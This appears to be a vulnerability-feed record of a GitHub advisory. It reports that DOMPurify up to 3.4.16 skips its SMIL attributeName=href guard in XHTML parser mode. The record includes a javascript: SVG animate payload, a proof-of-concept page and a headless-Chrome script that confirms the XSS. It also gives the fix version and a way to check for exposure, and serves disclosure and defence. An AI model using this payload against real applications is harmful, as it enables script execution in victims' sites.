{"id":"GHSA-c6gr-qvv4-5v3f","kind":"vulnerability","aliases":["GHSA-c6gr-qvv4-5v3f"],"related":[],"title":"DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml","description":"### Summary\n\nDOMPurify drops `attributeName` attributes whose value contains `href`, so an allowed `<animate>` or `<set>` can't rewrite a link's href after sanitizing. The check compares the attribute name after `transformCaseFunc`, and that function doesn't lowercase in XHTML mode. In XHTML the attribute is spelled `attributeName`, so the comparison with `\"attributename\"` never matches and the guard does nothing.\n\nAn app that uses `PARSER_MEDIA_TYPE: 'application/xhtml+xml'` and allows `animate` and `attributeName` will keep `<animate attributeName=\"href\" values=\"x;javascript:alert(1)\">`. Clicking the parent link then runs the script.\n\nThis needs a non-default config, so going by SECURITY.md, this is a hardening bug rather than a bypass of the default config.\n\n### Details\n\nIn `_sanitizeAttributes` (dist/purify.js line 2216 in 3.4.16):\n\n```js\nconst lcName = transformCaseFunc(name);\n...\nif (lcName === \"attributename\" && stringMatch(value, \"href\")) {\n  _removeAttribute(name, currentNode, attr);\n  continue;\n}\n```\n\n`transformCaseFunc` is `stringToLowerCase` for text/html but the identity function for application/xhtml+xml, because XML names are case-sensitive. The XML parser keeps SVG's real name `attributeName`, so in XHTML mode `lcName` is `attributeName` and the branch never runs.\n\nPeople using XHTML mode have to list SVG attributes in camelCase. The built-in attribute lists are lowercase and won't match, so `ALLOWED_ATTR`/`ADD_ATTR: ['attributeName', ...]` is the config you'd naturally write here.\n\nThe value also passes the URI check. `IS_ALLOWED_URI` only checks the start of the string, and `x;javascript:alert(1)` looks like a relative value. SMIL reads `values` as a `;` list and, with `fill=\"freeze\"`, the last entry ends up as the effective href of the parent `<a>`.\n\nIn text/html mode the same allowlist is handled correctly. The name is lowercased and `attributeName` is removed.\n\nThis is close to the XHTML case-sensitivity hardening in 3.4.14/3.4.15 (Attack Classes & Bypass History §22): a check written for lowercase names that a case-preserved name gets past.\n\n### Proof of concept\n\nTested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x.\n\nConfig:\n\n```js\nconst cfg = {\n  PARSER_MEDIA_TYPE: 'application/xhtml+xml',\n  ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],\n  ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],\n};\n```\n\n`{ PARSER_MEDIA_TYPE: 'application/xhtml+xml', USE_PROFILES: { svg: true }, ADD_TAGS: ['animate'], ADD_ATTR: ['attributeName'] }` behaves the same.\n\nInput:\n\n```html\n<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"60\"><a id=\"q\"><animate attributeName=\"href\" values=\"x;javascript:alert(1)\" dur=\"0.01s\" fill=\"freeze\"/><text x=\"10\" y=\"40\" font-size=\"30\">click</text></a></svg>\n```\n\nSteps:\n\n1. Save this as `poc.xhtml` next to `purify.js` (3.4.16) and open it in Chrome. The `.xhtml` extension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML.\n\n```html\n<html xmlns=\"http://www.w3.org/1999/xhtml\"><head><title>poc</title>\n<script src=\"purify.js\"></script></head><body><div id=\"sink\"></div>\n<script>//<![CDATA[\nconst cfg = {\n  PARSER_MEDIA_TYPE: 'application/xhtml+xml',\n  ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],\n  ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],\n};\nconst dirty = '<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"60\"><a id=\"q\"><animate attributeName=\"href\" values=\"x;javascript:alert(1)\" dur=\"0.01s\" fill=\"freeze\"/><text x=\"10\" y=\"40\" font-size=\"30\">click</text></a></svg>';\nconst clean = DOMPurify.sanitize(dirty, cfg);\nconsole.log(clean);\ndocument.getElementById('sink').innerHTML = clean;\n//]]></script></body></html>\n```\n\n2. The logged output still contains `attributeName=\"href\"` and `values=\"x;javascript:alert(1)\"`.\n3. `document.getElementById('q').href.animVal` returns `\"javascript:alert(1)\"`.\n4. Click \"click\" and `alert(1)` runs.\n\nAs a control, remove `PARSER_MEDIA_TYPE` and change the allowlist entry to `attributename`. The output then loses `attributeName`, `href.animVal` is `\"\"`, and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page.\n\nAn automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below.\n\n<details>\n<summary>poc.sh</summary>\n\n```bash\n#!/usr/bin/env bash\n# PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode.\n#\n# Sanitizes an SVG payload with a PARSER_MEDIA_TYPE:\"application/xhtml+xml\"\n# config that allow-lists <animate> + attributeName, renders the output into\n# div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse\n# event and reports whether alert() fired. Also runs the same allowlist in\n# text/html mode as a control (DOMPurify strips attributeName there).\n#\n# usage:  ./poc.sh [dompurify-version]          (default 3.4.16, fetched via `npm pack`)\n#         DOMPURIFY_JS=/path/to/purify.js ./poc.sh\n#         CHROME=/path/to/chrome ./poc.sh\n# needs:  node >= 18, npm (unless DOMPURIFY_JS is set), a Chromium/Chrome binary.\n# exit:   0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error\nset -euo pipefail\nVER=\"${1:-3.4.16}\"\nWORK=\"$(mktemp -d)\"\ntrap 'rm -rf \"$WORK\"' EXIT\n\nif [ -z \"${DOMPURIFY_JS:-}\" ]; then\n  (cd \"$WORK\" && npm pack \"dompurify@$VER\" --silent >/dev/null 2>&1 && tar xzf dompurify-*.tgz) || { echo \"npm pack dompurify@$VER failed\" >&2; exit 2; }\n  DOMPURIFY_JS=\"$WORK/package/dist/purify.js\"\nfi\nif [ -z \"${CHROME:-}\" ]; then\n  for c in \"$HOME\"/.cache/ms-playwright/chromium_headless_shell-*/chrome-headless-shell-linux64/chrome-headless-shell \\\n           \"$HOME\"/.cache/ms-playwright/chromium-*/chrome-linux/chrome \\\n           \"$(command -v google-chrome || true)\" \"$(command -v chromium || true)\" \"$(command -v chromium-browser || true)\"; do\n    [ -n \"$c\" ] && [ -x \"$c\" ] && CHROME=\"$c\" && break\n  done\nfi\n[ -n \"${CHROME:-}\" ] || { echo \"no Chrome/Chromium found; set CHROME=\" >&2; exit 2; }\n\ncat > \"$WORK/poc.html\" <<'EOF'\n<!doctype html><meta charset=\"utf-8\"><title>poc</title>\n<script src=\"purify.js\"></script>\n<div id=\"sink\"></div>\n<script>//<![CDATA[\nconst payload = '<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"60\">' +\n  '<a id=\"q\"><animate attributeName=\"href\" values=\"x;javascript:alert(1)\" dur=\"0.01s\" fill=\"freeze\"/>' +\n  '<text x=\"10\" y=\"40\" font-size=\"30\">click</text></a></svg>';\nfunction run(mode) {\n  const cfg = {\n    ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],\n    ALLOWED_ATTR: [mode === 'xhtml' ? 'attributeName' : 'attributename', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],\n  };\n  if (mode === 'xhtml') cfg.PARSER_MEDIA_TYPE = 'application/xhtml+xml';\n  const clean = DOMPurify.sanitize(payload, cfg);\n  document.getElementById('sink').innerHTML = clean;\n  return clean;\n}\n//]]></script>\nEOF\ncp \"$DOMPURIFY_JS\" \"$WORK/purify.js\"\n# Same test inside a real XHTML document (no HTML<->XHTML context flip):\n# the page is parsed as application/xhtml+xml and the sink's innerHTML uses the XML fragment parser.\nsed -e 's#<!doctype html><meta charset=\"utf-8\"><title>poc</title>#<html xmlns=\"http://www.w3.org/1999/xhtml\"><head><title>poc</title>#' \\\n    -e 's#<script src=\"purify.js\"></script>#<script src=\"purify.js\"></script></head><body>#' \\\n    -e 's#^</script>$#</script></body></html>#' \"$WORK/poc.html\" > \"$WORK/poc.xhtml\"\n\ncat > \"$WORK/drive.js\" <<'EOF'\n// zero-dependency CDP driver over --remote-debugging-pipe\nconst { spawn } = require('child_process');\nconst [chrome, url, dir] = process.argv.slice(2);\nconst xurl = url.replace(/\\.html$/, '.xhtml');\nconst p = spawn(chrome, ['--headless', '--no-sandbox', '--remote-debugging-pipe', '--disable-gpu', '--no-first-run',\n  `--user-data-dir=${dir}/profile`, 'about:blank'], { stdio: ['ignore', 'ignore', 'ignore', 'pipe', 'pipe'] });\nlet id = 0, buf = ''; const pend = new Map(), dialogs = [];\np.stdio[4].on('data', (d) => {\n  buf += d; let i;\n  while ((i = buf.indexOf('\\0')) >= 0) {\n    const m = JSON.parse(buf.slice(0, i)); buf = buf.slice(i + 1);\n    if (m.id && pend.has(m.id)) { pend.get(m.id)(m); pend.delete(m.id); }\n    else if (m.method === 'Page.javascriptDialogOpening') {\n      dialogs.push(m.params.message);\n      send('Page.handleJavaScriptDialog', { accept: true }, m.sessionId);\n    }\n  }\n});\nfunction send(method, params = {}, sessionId) {\n  return new Promise((r) => { const n = ++id; pend.set(n, r); p.stdio[3].write(JSON.stringify({ id: n, method, params, sessionId }) + '\\0'); });\n}\nconst sleep = (ms) => new Promise((r) => setTimeout(r, ms));\n(async () => {\n  const { result: { targetId } } = await send('Target.createTarget', { url: 'about:blank' });\n  const { result: { sessionId: s } } = await send('Target.attachToTarget', { targetId, flatten: true });\n  await send('Page.enable', {}, s); await send('Runtime.enable', {}, s);\n  const ev = async (e) => (await send('Runtime.evaluate', { expression: e, returnByValue: true, awaitPromise: true }, s)).result.result.value;\n  let vulnerable = false, xhtmlDoc = false;\n  const ver = async () => ev('DOMPurify.version');\n  for (const [mode, page] of [['html', url], ['xhtml', url], ['xhtml', xurl]]) {\n    await send('Page.navigate', { url: page }, s); await sleep(500);\n    const docType = await ev('document.contentType');\n    if (mode === 'html') console.log('DOMPurify', await ver(), '/', await ev('navigator.userAgent.match(/Chrome\\\\/[\\\\d.]+/)[0]'));\n    dialogs.length = 0;\n    const clean = await ev(`run(${JSON.stringify(mode)})`);\n    await sleep(400); // let the 0.01s animation apply (fill=freeze)\n    const href = await ev(`(()=>{const a=document.getElementById('q');return a?a.href.animVal:null})()`);\n    const box = await ev(`(()=>{const t=document.querySelector('#sink text');if(!t)return null;const r=t.getBoundingClientRect();return [r.x+r.width/2,r.y+r.height/2]})()`);\n    if (box) for (const type of ['mouseMoved', 'mousePressed', 'mouseReleased'])\n      await send('Input.dispatchMouseEvent', { type, x: box[0], y: box[1], button: 'left', clickCount: 1 }, s);\n    await sleep(800);\n    console.log(`\\n[${mode} mode, sink document ${docType}] sanitized output:\\n  ${clean}`);\n    console.log(`  animated <a> href (animVal): ${JSON.stringify(href)}`);\n    console.log(`  alert() fired on click: ${dialogs.length ? 'YES ' + JSON.stringify(dialogs) : 'no'}`);\n    if (mode === 'xhtml' && dialogs.length) vulnerable = true;\n    if (mode === 'xhtml' && docType === 'application/xhtml+xml') xhtmlDoc = dialogs.length > 0;\n  }\n  console.log(vulnerable ? `\\nRESULT: VULNERABLE (javascript: executed in XHTML mode; pure-XHTML document sink: ${xhtmlDoc ? 'also executes' : 'no'})` : '\\nRESULT: not vulnerable');\n  p.kill('SIGKILL'); process.exit(vulnerable ? 0 : 1);\n})().catch((e) => { console.error(e); p.kill('SIGKILL'); process.exit(2); });\nEOF\nnode \"$WORK/drive.js\" \"$CHROME\" \"file://$WORK/poc.html\" \"$WORK\"\n```\n\n</details>\n\n### Impact\n\nStored or reflected XSS on a click. It affects apps that sanitize SVG in XHTML mode and allow `animate` (or `set`) with `attributeName`, for example to keep simple SVG animations. Script runs in the app's origin when a user clicks the sanitized link. Default configs and text/html mode aren't affected.","summary":"DOMPurify's guard that removes SMIL attributeName values containing href is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml, so an allowed animate or set element can rewrite a link's href to a javascript: URL. An attacker who gets a payload past sanitization gets script execution in the app's origin when a user clicks the link.","severity":"low","cvss":null,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"dompurify","fixed":["3.4.17"],"affected":"<= 3.4.16","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["cwe-79","dompurify","javascript","npm","package","svg","xhtml"],"not_affected_if":["default-config","managed-hosting","no-animate-or-set-allowed","no-xhtml-parser-mode","text-html-mode"],"how_to_check":"Search app code for PARSER_MEDIA_TYPE set to 'application/xhtml+xml' with DOMPurify, and check whether ALLOWED_TAGS or ADD_TAGS include animate or set together with attributeName in ALLOWED_ATTR or ADD_ATTR.\nCheck the installed version: npm ls dompurify.","fix":"Upgrade dompurify to 3.4.17 or later (affected <= 3.4.16).\nUntil upgraded, stop allowing attributeName with animate/set in XHTML mode, or do not use XHTML parser mode for untrusted SVG.","status":"open","published_at":"2026-10-22T16:24:23+00:00","first_seen_at":"2026-10-23T19:11:31+00:00","triaged_at":"2026-10-23T20:09:57+00:00","updated_at":"2026-10-23T20:09:57+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-10-23T20:09:57Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade dompurify to 3.4.17 or later (affected <= 3.4.16).\nUntil upgraded, stop allowing attributeName with animate/set in XHTML mode, or do not use XHTML parser mode for untrusted SVG.","summary":"DOMPurify's guard that removes SMIL attributeName values containing href is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml, so an allowed animate or set element can rewrite a link's href to a javascript: URL. An attacker who gets a payload past sanitization gets script execution in the app's origin when a user clicks the link.","category":"package","who_cares":["npm","dompurify","javascript","svg","xhtml"],"confidence":0.85,"analyst_note":"","how_to_check":"Search app code for PARSER_MEDIA_TYPE set to 'application/xhtml+xml' with DOMPurify, and check whether ALLOWED_TAGS or ADD_TAGS include animate or set together with attributeName in ALLOWED_ATTR or ADD_ATTR.\nCheck the installed version: npm ls dompurify.","needs_analyst":false,"not_affected_if":["default-config","text-html-mode","no-xhtml-parser-mode","no-animate-or-set-allowed","managed-hosting"],"severity_if_unknown":"unknown"},"cost_usd":0.000963,"input_tokens":7276,"output_tokens":470,"severity_before":"low"},"analyst_status":null,"analyst_note":null,"search":"'-79':27B '/3.4.15':377C '1':320C,472C,518C '153':406C '2':419C,505C '22':382C '2216':203C '3':519C '3.2.7':415C '3.3.1':413C '3.3.3':412C '3.4.14':376C '3.4.16':205C,403C,480C '5v3f':19A,24A 'add':288C,459C,462C 'alert':319C,517C 'allow':55B,103C,160C,286C,307C,430C,436C 'allowlist':353C 'also':301C,409C 'anim':56B,161C,434C,461C 'app':83B,151C 'application/xhtml':13A,51B,157C,232C,428C,453C,494C 'attack':71B,378C 'attr':220C,287C,289C,437C,463C 'attribut':96C,118C,134C,270C,277C 'attributenam':3A,40B,95C,137C,142C,163C,213C,249C,256C,290C,362C,438C,464C,511C 'behav':465C 'branch':259C 'bug':189C 'built':275C 'built-in':274C 'bypass':193C,380C 'c6gr':17A,22A 'camelcas':272C 'case':239C,372C,392C 'case-preserv':391C 'case-sensit':238C,371C 'cfg':424C 'check':115C,305C,310C,384C 'chrome':405C,485C,490C 'class':379C 'click':89B,166C,470C 'close':367C 'compar':116C 'comparison':140C 'concept':399C 'config':180C,197C,293C,421C 'confirm':417C 'const':207C,423C 'contain':42B,99C,510C 'continu':221C 'correct':356C 'currentnod':219C 'cwe':26B 'd':295C 'default':179C,196C 'detail':198C 'dist/purify.js':201C 'document.getelementbyid':520C 'doesn':125C 'dompurifi':1A,28B,34B,93C,402C 'dompurify':25A 'drop':94C 'dur':440C 'effect':343C 'element':59B 'end':339C 'entri':338C 'execut':80B 'extens':488C 'fill':334C,441C 'font':445C 'font-siz':444C 'freez':335C 'function':124C,230C 'get':73B,78B,395C 'ghsa':16A,21A 'ghsa-c6gr-qvv4-5v3f':15A,20A 'go':182C 'guard':5A,36B,147C 'handl':355C 'harden':188C,374C 'headless':407C 'height':449C 'histori':381C 'href':4A,43B,65B,100C,111C,216C,344C,512C 'href.animval':522C 'html':469C,500C,503C 'id':447C 'ident':229C 'input':468C 'javascript':29B,68B,318C,516C 'js':206C,422C 'keep':165C,244C 'last':337C 'lcname':208C,212C,254C 'like':322C 'line':202C 'link':63B,91B,109C,169C 'list':268C,278C,331C 'load':491C 'log':507C 'look':321C 'lowercas':127C,280C,360C,387C 'make':489C 'match':144C,284C 'media':10A,48B,155C,426C,451C 'mode':130C,253C,265C,350C 'move':498C 'name':119C,210C,218C,236C,248C,358C,388C,394C 'natur':296C 'need':175C 'never':143C,260C 'next':477C 'non':178C 'non-default':177C 'noth':149C,497C 'npm':30B 'open':482C 'origin':85B 'output':508C 'packag':31B 'parent':168C,347C 'parser':9A,47B,154C,243C,425C,450C 'pass':302C 'past':76B,396C 'payload':75B 'peopl':262C 'poc':504C 'poc.xhtml':476C 'preserv':393C 'profil':456C 'proof':397C 'purify.js':479C 'q':521C 'qvv4':18A,23A 'rather':190C 'read':327C 'real':247C 'relat':324C 'remov':38B,364C 'removeattribut':217C 'reproduc':410C 'retu':523C 'rewrit':61B,107C 'run':171C,261C 'sanit':77B,113C 'sanitizeattribut':200C 'save':473C 'script':79B,173C 'security.md':184C 'sensit':240C,373C 'set':58B 'shell':408C 'size':446C 'skip':7A,45B 'smil':2A,39B,326C 'spell':136C 'start':312C 'step':471C 'still':509C 'string':315C 'stringmatch':214C 'stringtolowercas':224C 'summari':92C 'svg':32B,245C,269C,432C,457C 'tag':431C,460C 'test':400C 'text':435C 'text/html':226C,349C 'transformcasefunc':121C,209C,222C 'true':458C 'type':11A,49B,156C,427C,452C 'uri':304C,308C 'url':69B 'use':153C,263C,455C 'user':88B 'valu':41B,98C,215C,300C,325C,328C,439C,514C 'whose':97C 'width':448C 'won':282C 'write':297C 'written':385C 'x':317C,420C,442C,515C 'xhtml':33B,129C,132C,252C,264C,370C,487C,502C 'xml':14A,52B,158C,233C,235C,242C,429C,454C,495C 'y':443C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-22T16:24:23+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-c6gr-qvv4-5v3f","url":"https://github.com/advisories/GHSA-c6gr-qvv4-5v3f","severity":"low","published_at":"2026-10-22T16:24:23+00:00","modified_at":"2026-10-22T16:24:24+00:00","first_seen_at":"2026-10-23T19:11:31+00:00","fetched_at":"2026-10-23T19:11:31+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}